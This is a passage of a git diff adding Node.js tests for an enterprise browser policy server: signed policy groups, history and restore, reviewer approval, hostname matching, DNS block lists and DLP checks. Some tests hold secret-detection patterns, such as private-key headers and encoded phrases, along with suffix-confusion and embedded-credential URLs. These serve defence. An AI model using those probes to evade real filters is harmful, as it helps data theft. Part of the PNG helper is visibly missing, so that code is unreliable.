assert.rejects(browser.protectedPolicyRequest({device,request:async()=>{throw Error('Transport offline');},save:()=>{}})); + store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(a.id);assert.equal((await api('/api/device/channel/challenge',{},a.token)).status,401); +}); diff --git a/tests/policy-groups.test.mjs b/tests/policy-groups.test.mjs new file mode 100644 index 0000000..5ed74ef --- /dev/null +++ b/tests/policy-groups.test.mjs @@ -0,0 +1,77 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {randomUUID} from 'node:crypto'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {PolicyGroupSchema,applyPolicyGroups} from '../packages/core/policy-groups.mjs'; +import {defaultPolicy,verifyPolicy,destinationAllowed} from '../packages/core/policy.mjs'; + +async function fixture(t,review=false){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-groups-')),store=openStore(dir),origin='http://127.0.0.1:4310'; + const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:review}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const ids=[randomUUID(),randomUUID(),randomUUID()];for(const [index,id] of ids.entries())store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run(id,`Device ${index}`,'win32','employee',digest(`device-credential-${index}-12345678901234567890`)); + async function api(path,method='GET',body,subject='author',role='admin'){ + const credential=`synthetic-group-session-${subject}-12345678901234567890`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role})); + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)});return {status:response.status,body:await response.json()}; + } + const group=()=>PolicyGroupSchema.parse({id:'finance',name:'Finance',memberDeviceIds:ids.slice(0,2),restrictions:{blockedHosts:['blocked.example'],disableAI:true,hiddenSections:['agents'],requireDocumentScan:true,managedBookmarks:[{id:'finance_intranet',title:'Finance',url:'https://intranet.example/finance'}]},rollout:{stage:'pilot',deviceIds:[ids[0]]}}); + const publish=(g,expectedVersion=store.get('policy').version)=>api(`/api/admin/policy-groups/${g.id}`,'PUT',{expectedVersion,group:g}); + const approve=r=>api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},'reviewer'); + return {store,api,ids,group,publish,approve}; +} +test('group pilot applies only to approved members, all promotion and removal create new signed generations',async t=>{ + const f=await fixture(t),g=f.group(),baseline=f.store.get('policy');baseline.ai.enabled=true;baseline.browser.allowDownloads=true;baseline.inspection.documentAnalysisEnabled=false;f.store.put('policy',baseline); + assert.equal((await f.publish(g)).status,200); + const pilot=verifyPolicy(f.store.envelope(f.ids[0]),f.store.publicKey()),control=verifyPolicy(f.store.envelope(f.ids[1]),f.store.publicKey()); + assert.equal(pilot.version,2);assert.equal(control.version,2);assert.deepEqual(pilot.assignment,{deviceId:f.ids[0],groups:['finance']});assert.deepEqual(control.assignment.groups,[]); + assert.equal(pilot.ai.enabled,false);assert.equal(control.ai.enabled,true);assert.equal(pilot.inspection.documentAnalysisEnabled,true);assert.equal(destinationAllowed('https://blocked.example/',pilot),false);assert.equal(destinationAllowed('https://blocked.example/',control),true); + assert.equal(pilot.browser.bookmarks.managed[0].id,'finance_intranet');assert.equal(control.browser.bookmarks.managed.length,0); + const same=f.store.envelope(f.ids[0]);assert.deepEqual(verifyPolicy(same,f.store.publicKey()),pilot); // Stable content at one generation. + g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g,2)).status,200);assert.equal(f.store.effectivePolicy(f.ids[1]).ai.enabled,false);assert.equal(f.store.effectivePolicy(f.ids[2]).ai.enabled,true); + assert.equal((await f.api('/api/admin/policy-groups/finance','DELETE',{expectedVersion:3})).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).ai.enabled,true);assert.equal(f.store.effectivePolicy(f.ids[0]).version,4); +}); +test('restrictive merges preserve baseline, conflict order cannot change result, unapproved features rejected',()=>{ + const p=defaultPolicy();p.browser.blockedHosts=['baseline.example'];p.browser.settings.hiddenSections=['passwords']; + const first=PolicyGroupSchema.parse({id:'a',name:'A',memberDeviceIds:['device'],rollout:{stage:'all'},restrictions:{blockedHosts:['group.example'],disableDownloads:true,hiddenSections:['agents']}}),second=PolicyGroupSchema.parse({...first,id:'b',restrictions:{blockedHosts:['second.example'],disableAI:true}}); + assert.deepEqual(applyPolicyGroups(p,[first,second],'device'),applyPolicyGroups(p,[second,first],'device')); + const result=applyPolicyGroups(p,[first],'device');assert.deepEqual(result.browser.blockedHosts,['baseline.example','group.example']);assert.equal(result.browser.allowDownloads,false);assert.ok(result.browser.settings.hiddenSections.includes('passwords')); + assert.throws(()=>PolicyGroupSchema.parse({...first,restrictions:{allowDownloads:true}}));assert.throws(()=>PolicyGroupSchema.parse({...first,rollout:{stage:'pilot',deviceIds:['outsider']}})); +}); +test('independent review covers exact membership and cohort, stale and revoked candidates fail atomically',async t=>{ + const f=await fixture(t,true),g=f.group(),queued=await f.publish(g);assert.equal(queued.status,202);assert.equal(f.store.getRaw('policyGroups'),null);assert.equal(f.store.effectivePolicy(f.ids[0]).version,1); + const detail=await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}`);assert.deepEqual(detail.body.operation.group,g); + assert.equal((await f.api(`/api/admin/policy-reviews/${queued.body.reviewId}/approve`,'POST',{payloadHash:queued.body.payloadHash,expectedVersion:1,approve:true})).status,403); + assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.effectivePolicy(f.ids[0]).version,2); + const next=await f.publish({...g,name:'Reviewed change'});f.store.db.prepare('UPDATE devices SET revoked=1 WHERE id=?').run(f.ids[0]);assert.equal((await f.approve(next.body)).status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.getRaw('policyGroups')[0].name,'Finance'); +}); +test('permissions, preview, unknown devices, union limits and bookmark conflicts are enforced centrally',async t=>{ + const f=await fixture(t),g=f.group();assert.equal((await f.api('/api/admin/policy-groups/finance','PUT',{expectedVersion:1,group:g},'auditor','auditor')).status,403); + assert.equal((await f.api('/api/admin/policy-groups/preview','POST',{deviceId:f.ids[0],group:g},'auditor','auditor')).body.policy.ai.enabled,false);assert.equal(f.store.getRaw('policyGroups'),null); + assert.equal((await f.publish({...g,memberDeviceIds:[...g.memberDeviceIds,'unknown']})).status,409); + f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run(f.ids[0],1,JSON.stringify([{id:'finance_intranet',title:'Personal',url:'https://personal.example/',folder:''}]));assert.equal((await f.publish(g)).status,409); + f.store.db.prepare('DELETE FROM bookmarks').run();assert.equal((await f.publish(g)).status,200); + const conflicting={...g,id:'other',restrictions:{managedBookmarks:[{id:'finance_intranet',title:'Other',url:'https://other.example/',folder:''}]}};assert.equal((await f.publish(conflicting)).status,409);assert.equal(f.store.get('policy').version,2); + const overview=(await f.api('/api/admin/policy-groups')).body;assert.equal(overview.devices[0].acknowledged,false);f.store.db.prepare('UPDATE devices SET policy_version=2 WHERE id=?').run(f.ids[0]);assert.equal((await f.api('/api/admin/policy-groups')).body.devices.find(d=>d.id===f.ids[0]).acknowledged,true); +}); +test('restoring a generation restores reviewed group assignments at a new version',async t=>{ + const f=await fixture(t),g=f.group();assert.equal((await f.publish(g)).status,200); + g.rollout={stage:'all',deviceIds:[]};assert.equal((await f.publish(g)).status,200); + assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,['finance']); + const snapshot=(await f.api('/api/admin/policy/history/2')).body;assert.equal(snapshot.groups[0].rollout.stage,'pilot'); + assert.equal((await f.api('/api/admin/policy/restore','POST',{sourceVersion:2,expectedVersion:3,approve:true})).status,200); + assert.equal(f.store.get('policy').version,4);assert.deepEqual(f.store.effectivePolicy(f.ids[1]).assignment.groups,[]);assert.deepEqual(f.store.effectivePolicy(f.ids[0]).assignment.groups,['finance']); + const diff=(await f.api('/api/admin/policy/diff?from=2&to=3')).body;assert.ok(diff.groupDiff.changes.length); +}); +test('gateway and bookmark APIs enforce device effective group policy and global drafts reject assignment metadata',async t=>{ + const f=await fixture(t),g=f.group(),p=f.store.get('policy');p.ai.enabled=true;f.store.put('policy',p);assert.equal((await f.publish(g)).status,200); + // Use the authenticated device API, not an isolated merge helper. + const server=createApp(f.store,{publicUrl:'http://127.0.0.1:4310',secure:false,aiBaseUrl:'https://127.0.0.1:1',aiKey:'synthetic-fixture-key',aiModel:''}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));t.after(()=>new Promise(r=>server.close(r))); + const headers={authorization:'Bearer device-credential-0-12345678901234567890','content-type':'application/json'}; + const ai=await fetch(`http://127.0.0.1:${server.address().port}/api/device/ai`,{method:'POST',headers,body:JSON.stringify({prompt:'Public content'})});assert.equal(ai.status,409);assert.match((await ai.json()).error,/Approved AI provider/); + const bookmark=await fetch(`http://127.0.0.1:${server.address().port}/api/device/bookmarks`,{method:'POST',headers,body:JSON.stringify({action:'add',expectedRevision:0,policyVersion:2,bookmark:{id:'test',title:'Blocked',url:'https://blocked.example/'}})});assert.equal(bookmark.status,403); + const draft=f.store.effectivePolicy(f.ids[0]);draft.version++;assert.equal((await f.api('/api/admin/policy','PUT',draft)).status,400);assert.equal(f.store.get('policy').version,2); +}); diff --git a/tests/policy-history.test.mjs b/tests/policy-history.test.mjs new file mode 100644 index 0000000..672ab9f --- /dev/null +++ b/tests/policy-history.test.mjs @@ -0,0 +1,58 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +import {verifyPolicy} from '../packages/core/policy.mjs'; +import {policyDiff} from '../apps/server/policy-history.mjs'; +async function fixture(t){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-history-')),store=openStore(dir),credential='synthetic-history-admin-credential-123456789',origin='http://127.0.0.1:4310'; + const server=createApp(store,{adminToken:credential,publicUrl:origin,secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(path,body,role){ + const headers={'content-type':'application/json'}; + if(role){const key=`synthetic-history-${role}-credential-123456789`;store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(key),Date.now()+60000,JSON.stringify({sub:role,role}));headers.cookie=`sn_session=${key}`;headers.origin=origin;}else headers.authorization=`Bearer ${credential}`; + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method:body?'POST':'GET',headers,body:body?JSON.stringify(body):undefined});return {status:response.status,body:await response.json()}; + } + function save(policy){store.put('policy',policy);store.db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(policy.version,new Date().toISOString(),'test-publisher',JSON.stringify(policy));} + return {store,api,save}; +} +test('history cursor, schema snapshots and deterministic diffs cover immutable global versions',async t=>{ + const f=await fixture(t),p=f.store.get('policy');p.version=2;p.brand.name='Company Browser';f.save(p); + const list=await f.api('/api/admin/policy/history?limit=1');assert.equal(list.status,200);assert.equal(list.body.versions[0].version,2);assert.equal(list.body.versions[0].current,true);assert.equal(list.body.nextBefore,2); + const next=await f.api('/api/admin/policy/history?limit=1&before=2');assert.equal(next.body.versions[0].version,1);assert.equal(next.body.nextBefore,null); + const item=await f.api('/api/admin/policy/history/2');assert.equal(item.body.policy.brand.name,'Company Browser');assert.equal(JSON.stringify(item.body).includes('privateKey'),false); + const diff=await f.api('/api/admin/policy/diff?from=1&to=2');assert.equal(diff.status,200);assert.ok(diff.body.changes.some(c=>c.path==='/brand/name'&&c.after==='Company Browser'));assert.equal(diff.body.truncated,false); + assert.equal((await f.api('/api/admin/policy/history/999')).status,404);assert.equal((await f.api('/api/admin/policy/diff?from=1&to=999')).status,404);assert.equal((await f.api('/api/admin/policy/history?limit=101')).status,400); +}); +test('restore publishes new signed monotonic policy with refreshed expiry and preserves source and audit privacy',async t=>{ + const f=await fixture(t),expired=f.store.get('policy');expired.expiresAt='2020-01-01T00:00:00.000Z';f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(expired)); + const source=f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,p=f.store.get('policy');p.version=2;p.brand.name='Changed';f.save(p); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,200);assert.equal(result.body.version,3);assert.equal(result.body.sourceVersion,1); + const signed=verifyPolicy(f.store.envelope(),f.store.publicKey());assert.equal(signed.version,3);assert.notEqual(signed.brand.name,'Changed');assert.ok(Date.parse(signed.expiresAt)>Date.now()+6*86400000); + assert.equal(f.store.db.prepare('SELECT policy FROM policies WHERE version=1').get().policy,source); + const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.restored'").get().metadata);assert.deepEqual(audit,{actor:'bootstrap-admin',version:3,sourceVersion:1}); + assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true})).status,409);assert.equal(f.store.get('policy').version,3); + assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:999,expectedVersion:3,approve:true})).status,404);assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:3,approve:false})).status,400); +}); +test('invalid historic schemas cannot be restored and failure rolls back without new audit or version',async t=>{ + const f=await fixture(t),invalid=f.store.get('policy');invalid.proxy={mode:'unknown-mode'};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(invalid)); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true});assert.equal(result.status,400);assert.equal(f.store.get('policy').version,1);assert.equal(f.store.db.prepare("SELECT COUNT(*) AS count FROM events WHERE kind='policy.restored'").get().count,0); + assert.equal((await f.api('/api/admin/policy/history')).status,200); +}); +test('history and restoration enforce read/write roles and never expose legacy personal bookmarks',async t=>{ + const f=await fixture(t),p=f.store.get('policy');p.browser.bookmarks.personal={revision:2,items:[{id:'private',title:'Private bookmark',url:'https://private.example/',folder:''}]};f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(p)); + for(const role of ['operator','auditor']){assert.equal((await f.api('/api/admin/policy/history',null,role)).status,200);const item=await f.api('/api/admin/policy/history/1',null,role);assert.deepEqual(item.body.policy.browser.bookmarks.personal,{revision:0,items:[]});assert.equal((await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:1,approve:true},role)).status,403);} + assert.equal(f.store.get('policy').version,1); +}); +test('restore cannot collide historical company IDs with current device personal entries',async t=>{ + const f=await fixture(t),source=f.store.get('policy');source.browser.bookmarks.managed=[{id:'collision',title:'Company',url:'https://company.example/',folder:''}];f.store.db.prepare('UPDATE policies SET policy=? WHERE version=1').run(JSON.stringify(source)); + const p=f.store.get('policy');p.version=2;f.save(p);f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('test-device','Test','win32','user','hash');f.store.db.prepare('INSERT INTO bookmarks VALUES(?,?,?)').run('test-device',1,JSON.stringify([{id:'collision',title:'Private',url:'https://private.example/',folder:''}])); + const result=await f.api('/api/admin/policy/restore',{sourceVersion:1,expectedVersion:2,approve:true});assert.equal(result.status,409);assert.equal(f.store.get('policy').version,2);assert.equal(f.store.db.prepare('SELECT COUNT(*) AS count FROM policies').get().count,2); +}); +test('diff limits size, preserves arrays and escapes JSON pointer paths',()=>{ + const result=policyDiff({'a/b':1,'x~y':1,list:[1]}, {'a/b':2,'x~y':2,list:[2]},2);assert.equal(result.truncated,true);assert.deepEqual(result.changes.map(c=>c.path),['/a~1b','/list']);assert.deepEqual(result.changes[1].after,[2]); + assert.deepEqual(policyDiff({}, {new:1}).changes,[{path:'/new',kind:'added',after:1}]); +}); diff --git a/tests/policy-review.test.mjs b/tests/policy-review.test.mjs new file mode 100644 index 0000000..d29af67 --- /dev/null +++ b/tests/policy-review.test.mjs @@ -0,0 +1,60 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {mkdtempSync,rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {openStore,digest} from '../apps/server/store.mjs'; +import {createApp} from '../apps/server/app.mjs'; +async function fixture(t){ + const dir=mkdtempSync(join(tmpdir(),'safetynet-review-')),store=openStore(dir),origin='http://127.0.0.1:4310'; + const server=createApp(store,{publicUrl:origin,secure:false,requireIndependentPolicyApproval:true}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + async function api(path,method='GET',body,subject='author',role='admin'){ + const credential=`synthetic-review-session-${subject}-12345678901234567890`; + store.db.prepare('INSERT OR REPLACE INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+60000,JSON.stringify({sub:subject,role})); + const response=await fetch(`http://127.0.0.1:${server.address().port}${path}`,{method,headers:{cookie:`sn_session=${credential}`,origin,'content-type':'application/json'},body:body===undefined?undefined:JSON.stringify(body)}); + return {status:response.status,body:await response.json()}; + } + function candidate(){const p=store.get('policy');p.version++;p.brand.name='Reviewed Brand';return p;} + async function approve(r,subject='reviewer',role='admin'){return api(`/api/admin/policy-reviews/${r.reviewId}/approve`,'POST',{payloadHash:r.payloadHash,expectedVersion:r.expectedVersion,approve:true},subject,role);} + return {dir,store,api,candidate,approve}; +} +test('mandatory independent approval prevents self approval, operator publication, tampering and duplicate release',async t=>{ + const f=await fixture(t),p=f.candidate(),queued=await f.api('/api/admin/policy','PUT',p,'operator','operator'); + assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,1); + assert.equal((await f.approve(queued.body,'operator','admin')).status,403); + assert.equal((await f.approve(queued.body,'reviewer','operator')).status,403); + assert.equal((await f.approve({...queued.body,payloadHash:'0'.repeat(64)})).status,409); + const approved=await f.approve(queued.body);assert.equal(approved.status,200);assert.equal(f.store.get('policy').brand.name,'Reviewed Brand'); + assert.equal((await f.approve(queued.body)).status,409); + const audit=JSON.parse(f.store.db.prepare("SELECT metadata FROM events WHERE kind='policy.review-approved'").get().metadata);assert.equal(audit.author,'operator');assert.equal(audit.actor,'reviewer');assert.equal(JSON.stringify(audit).includes('Reviewed Brand'),false); +}); +test('queue persists, presents exact diff and hash, rejects stale CAS and supports independent rejection',async t=>{ + const f=await fixture(t),first=(await f.api('/api/admin/policy-reviews','POST',{policy:f.candidate()})).body; + const second=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + const detail=await f.api(`/api/admin/policy-reviews/${first.reviewId}`);assert.ok(detail.body.diff.changes.some(c=>c.path==='/brand/name'));assert.equal(detail.body.payloadHash,first.payloadHash); + const secondConnection=openStore(f.dir);assert.equal(secondConnection.db.prepare('SELECT payload_hash FROM policy_reviews WHERE id=?').get(first.reviewId).payload_hash,first.payloadHash);secondConnection.db.close(); + assert.equal((await f.approve(first)).status,200);assert.equal((await f.approve(second)).status,409); + const list=await f.api('/api/admin/policy-reviews');assert.equal(list.body.reviews.find(r=>r.id===second.reviewId).status,'stale'); + const third=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true})).status,403); + assert.equal((await f.api(`/api/admin/policy-reviews/${third.reviewId}/reject`,'POST',{payloadHash:third.payloadHash,reject:true},'reviewer')).status,200); + assert.equal((await f.approve(third)).status,409);assert.equal(f.store.get('policy').version,2); +}); +test('all alternate publication paths queue and device and teaching effects wait for reviewer',async t=>{ + const f=await fixture(t); + f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash'); + let queued=await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,null); + assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT document_analysis_enabled AS enabled FROM devices').get().enabled,0); + queued=await f.api('/api/admin/security/blocklists','PUT',{expectedVersion:2,blockedHosts:['blocked.example'],blockedIPs:[]},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').security.dns.blockedHosts.includes('blocked.example'),false);assert.equal((await f.approve(queued.body)).status,200); + queued=await f.api('/api/admin/policy/restore','POST',{sourceVersion:1,expectedVersion:3,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.get('policy').version,3);assert.equal((await f.approve(queued.body)).status,200); + f.store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run('teaching',new Date().toISOString(),'author','Sensitive','draft',JSON.stringify({registrationReady:true,sha256:'a'.repeat(64),fragmentHashes:[]}),null,null); + queued=await f.api('/api/admin/teaching/teaching/publish','POST',{expectedVersion:4,approve:true},'operator','operator');assert.equal(queued.status,202);assert.equal(f.store.db.prepare('SELECT status FROM teaching').get().status,'draft');assert.equal((await f.approve(queued.body)).status,200);assert.equal(f.store.db.prepare('SELECT reviewer FROM teaching').get().reviewer,'reviewer'); +}); +test('durable candidate corruption and changing device state fail closed atomically',async t=>{ + const f=await fixture(t),queued=(await f.api('/api/admin/policy','PUT',f.candidate())).body; + const policy=f.candidate();policy.brand.name='Tampered';f.store.db.prepare('UPDATE policy_reviews SET policy=? WHERE id=?').run(JSON.stringify(policy),queued.reviewId); + assert.equal((await f.approve(queued)).status,409);assert.equal(f.store.get('policy').version,1); + f.store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash) VALUES(?,?,?,?,?)').run('device','Device','win32','user','hash'); + const device=(await f.api('/api/admin/devices/device/inspection','PATCH',{expectedVersion:1,documentAnalysisEnabled:false})).body;f.store.db.prepare('UPDATE devices SET revoked=1').run();assert.equal((await f.approve(device)).status,409);assert.equal(f.store.get('policy').version,1); +}); diff --git a/tests/policy.test.mjs b/tests/policy.test.mjs new file mode 100644 index 0000000..f157272 --- /dev/null +++ b/tests/policy.test.mjs @@ -0,0 +1,37 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { generateKeyPairSync, createHash } from 'node:crypto'; +import {defaultPolicy,PolicySchema,signPolicy,verifyPolicy,inspect,destinationAllowed,hostMatches} from '../packages/core/policy.mjs'; +test('signed policies reject tampering, rollback and expiry',()=>{ + const keys=generateKeyPairSync('ed25519');const privateKey=keys.privateKey.export({type:'pkcs8',format:'pem'}),publicKey=keys.publicKey.export({type:'spki',format:'pem'}); + const p=defaultPolicy(),envelope=signPolicy(p,privateKey);assert.deepEqual(verifyPolicy(envelope,publicKey),p); + assert.throws(()=>verifyPolicy({...envelope,payload:envelope.payload+'A'},publicKey),/signature/); + assert.throws(()=>verifyPolicy(envelope,publicKey,2),/rollback/); + p.expiresAt=new Date(0).toISOString();assert.throws(()=>verifyPolicy(signPolicy(p,privateKey),publicKey),/expired/); +}); +test('hostname policies resist suffix confusion and enforce block precedence',()=>{ + assert.equal(hostMatches('a.corp.example','*.corp.example'),true);assert.equal(hostMatches('corp.example','*.corp.example'),false); + assert.equal(hostMatches('evilcorp.example','*.corp.example'),false); + const p=defaultPolicy();p.browser.allowedHosts=['*.corp.example'];p.browser.blockedHosts=['blocked.corp.example']; + assert.equal(destinationAllowed('https://ok.corp.example/',p),true);assert.equal(destinationAllowed('https://blocked.corp.example/',p),false); + assert.equal(destinationAllowed('https://ok.corp.example.evil.test/',p),false);assert.equal(destinationAllowed('file:///secret',p),false); + assert.equal(destinationAllowed('https://user:pass@ok.corp.example/',p),false); +}); +test('DLP blocks credentials, encoded phrases, binary and oversized payloads',()=>{ + const p=defaultPolicy();p.dlp.rules=[{id:'project',label:'Secret project',kind:'literal',value:'Project Orion',action:'block'}]; + for(const input of ['Project Orion','project%20orion','prompt=project+orion','{"prompt":"Project \\u004frion"}'])assert.equal(inspect(Buffer.from(input),p).decision,'block'); + assert.equal(inspect(Buffer.from('-----BEGIN PRIVATE KEY-----'),p).ruleId,'private-key'); + assert.equal(inspect(Buffer.from([255,254]),p).ruleId,'uninspectable'); + assert.equal(inspect(Buffer.from('a\0b'),p).ruleId,'uninspectable'); + assert.equal(inspect(Buffer.alloc(p.dlp.maxBytes+1),p).ruleId,'size-limit'); + assert.equal(inspect(Buffer.from('Public information'),p).decision,'allow'); +}); +test('exact fingerprints detect registered bytes',()=>{ + const p=defaultPolicy(),data=Buffer.from('confidential sample');p.dlp.rules=[{id:'file',label:'Reference',kind:'sha256',value:createHash('sha256').update(data).digest('hex'),action:'block'}]; + assert.equal(inspect(data,p).ruleId,'file');assert.equal(inspect(Buffer.from('different sample'),p).decision,'allow'); +}); +test('invalid proxy, duplicate IDs and unsafe home schemes are rejected',()=>{ + const p=defaultPolicy();p.proxy={mode:'pac_script',pacUrl:'http://example.com/pac'};assert.equal(PolicySchema.safeParse(p).success,false); + p.proxy={mode:'system'};p.browser.homeUrl='file:///secret';assert.equal(PolicySchema.safeParse(p).success,false); + p.browser.homeUrl='https://example.com';const r={id:'duplicate',label:'Secret',kind:'literal',value:'x',action:'block'};p.dlp.rules=[r,r];assert.equal(PolicySchema.safeParse(p).success,false); +}); diff --git a/tests/security.test.mjs b/tests/security.test.mjs new file mode 100644 index 0000000..9dd48df --- /dev/null +++ b/tests/security.test.mjs @@ -0,0 +1,96 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { defaultPolicy,PolicySchema,destinationAllowed,inspect,inspectForAI,fragmentHashes,verifyPolicy } from '../packages/core/policy.mjs'; +import { dnsAddressBlocked,evaluateSigma,VisualOriginSchema } from '../packages/core/security.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { mkdtempSync,rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { createServer } from 'node:http'; +import { randomUUID } from 'node:crypto'; +import { deflateSync } from 'node:zlib'; +test('security defaults deny agent access and DNS/content policies enforce centrally',()=>{ + const p=defaultPolicy();assert.equal(p.agents.enabled,false);p.security.dns.blockedHosts=['*.evil.test'];p.security.dns.blockedIPs=['2001:db8::1'];p.security.content.blockedPhrases=['restricted roadmap']; + assert.equal(destinationAllowed('https://child.evil.test',p),false);assert.equal(destinationAllowed('https://evil.test.example',p),true);assert.equal(dnsAddressBlocked('2001:0db8:0:0:0:0:0:1',p),true);assert.equal(inspect(Buffer.from('Restricted Roadmap'),p).decision,'block'); + p.security.dns.blockedIPs=['not-an-address'];assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('password manager defaults and idle bounds reject insecure or unknown settings',()=>{ + const p=defaultPolicy();assert.deepEqual(p.passwordManager,{enabled:true,allowSaving:true,allowAutofill:true,idleLockSeconds:300});p.passwordManager.idleLockSeconds=59;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=901;assert.equal(PolicySchema.safeParse(p).success,false);p.passwordManager.idleLockSeconds=60;p.passwordManager.password='secret';assert.equal(PolicySchema.safeParse(p).success,false); +}); +test('visual references require explicit valid brands and canonical exact domain origins',()=>{ + const p=defaultPolicy();assert.equal(p.security.visualPhishing.enabled,false);p.security.visualPhishing.enabled=true;assert.equal(PolicySchema.safeParse(p).success,false); + for(const origin of ['http://login.example','https://*.example','https://login.example/','https://login.example?x=1','https://alice:secret@login.example','https://127.0.0.1','https://[::1]','https://login.example.','https://bücher.example'])assert.equal(VisualOriginSchema.safeParse(origin).success,false,origin); + assert.equal(VisualOriginSchema.safeParse('https://xn--bcher-kva.example').success,true);assert.equal(VisualOriginSchema.safeParse('https://login.example:8443').success,true); + p.security.visualPhishing.brands=[{id:'brand',label:'Brand',allowedOrigins:['https://login.example'],references:[{hash:'a'.repeat(16),algorithm:'phash-dct32-v1',scope:'login-form',viewport:{width:64,height:64}}]}];assert.equal(PolicySchema.safeParse(p).success,true);p.security.visualPhishing.brands[0].references[0].hash='A'.repeat(16);assert.equal(PolicySchema.safeParse(p).success,false); +}); +function referencePNG(flat=false){ + const crc=bytes=>{let value=0xffffffff;for(const byte of bytes){value^=byte;for(let n=0;n<8;n++)value=(value>>>1)^((value&1)?0xedb88320:0);}return(value^0xffffffff)>>>0;}; + const chunk=(kind,data)=>{const type=Buffer.from(kind),length=Buffer.alloc(4),sum=Buffer.alloc(4);length.writeUInt32BE(data.length);sum.writeUInt32BE(crc(Buffer.concat([type,data])));return Buffer.concat([length,type,data,sum]);}; + const width=64,height=64,header=Buffer.alloc(13);header.writeUInt32BE(width);header.writeUInt32BE(height,4);header[8]=8;header[9]=6;const rows=Buffer.alloc(height*(1+width*4));for(let y=0;y{ + const dir=mkdtempSync(join(tmpdir(),'security-visual-')),store=openStore(dir),adminToken='administrator-token-at-least-thirty-two-characters';const server=createApp(store,{adminToken,publicUrl:'http://127.0.0.1:4310',secure:false}).listen(0,'127.0.0.1');await new Promise(r=>server.on('listening',r));t.after(async()=>{await new Promise(r=>server.close(r));store.db.close();rmSync(dir,{recursive:true,force:true});}); + const base=`http://127.0.0.1:${server.address().port}`,data=referencePNG().toString('base64'),body={expectedVersion:1,brandId:'corporate-login',label:'Corporate login',allowedOrigins:['https://login.example'],data,scope:'login-form'}; + const 